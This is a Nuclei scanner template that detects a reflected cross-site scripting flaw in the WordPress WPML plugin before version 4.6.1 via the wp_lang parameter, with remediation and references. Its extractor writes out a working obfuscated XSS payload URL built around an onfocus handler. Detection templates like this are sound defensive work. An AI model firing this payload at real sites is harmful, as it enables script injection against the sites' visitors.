id: wpml-xss

info:
  name: WordPress Plugin WPML Version < 4.6.1 Cross-Site Scripting
  author: bugvsme
  severity: medium
  description: |
    WordPress Plugin WPML Version < 4.6.1  is vulnerable to RXSS via wp_lang parameter.
  remediation: |
    Update the WPML plugin to 4.6.1 version.
  reference:
    - https://wpml.org/fr/changelog/2023/03/wpml-4-6-1-important-security-update/
    - https://twitter.com/bug_vs_me/status/1652789903766200320
  metadata:
    verified: true
    max-request: 1
  tags: xss,wp,wordpress,wpml,wp-plugin

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-login.php?wp_lang=en_US%27'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '#039;"='
          - 'wpml_lang'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'host + "/wp-login.php?wp_lang=%20=id=x+type=image%20id=xss%20onfoc%3C!%3Eusin+alert(domain)%0c"'
# digest: 490a00463044021f1ffc68e8a4c0cb77b296ed838816e45d93f9e9c9beb294bd2a629f58a48f5c0221009d7aa67a06d4cde96621806bfe45e71453087330d221eaca43b2c3e28ef96bd5:922c64590222798bb761d5b6d8e72950